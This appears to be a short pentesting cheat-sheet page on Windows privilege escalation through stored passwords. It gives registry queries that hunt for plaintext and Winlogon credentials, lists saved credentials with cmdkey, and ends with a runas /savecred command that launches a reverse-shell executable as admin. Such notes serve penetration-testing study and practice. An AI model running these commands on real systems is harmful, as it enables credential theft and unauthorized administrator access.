> For the complete documentation index, see [llms.txt](https://ed4m4s.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ed4m4s.blog/privilege-escalation/windows/passwords.md).

# Passwords

#### Searching for passwords

```
reg query HKLM /f password /t REG_SZ /s
```

#### Searching for last user's password upon login

```
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
```

#### List any saved credentials:

```
cmdkey /list

######## If passwords saved try to get a reverse shell ########
runas /savecred /user:admin C:\PrivEsc\reverse.exe
```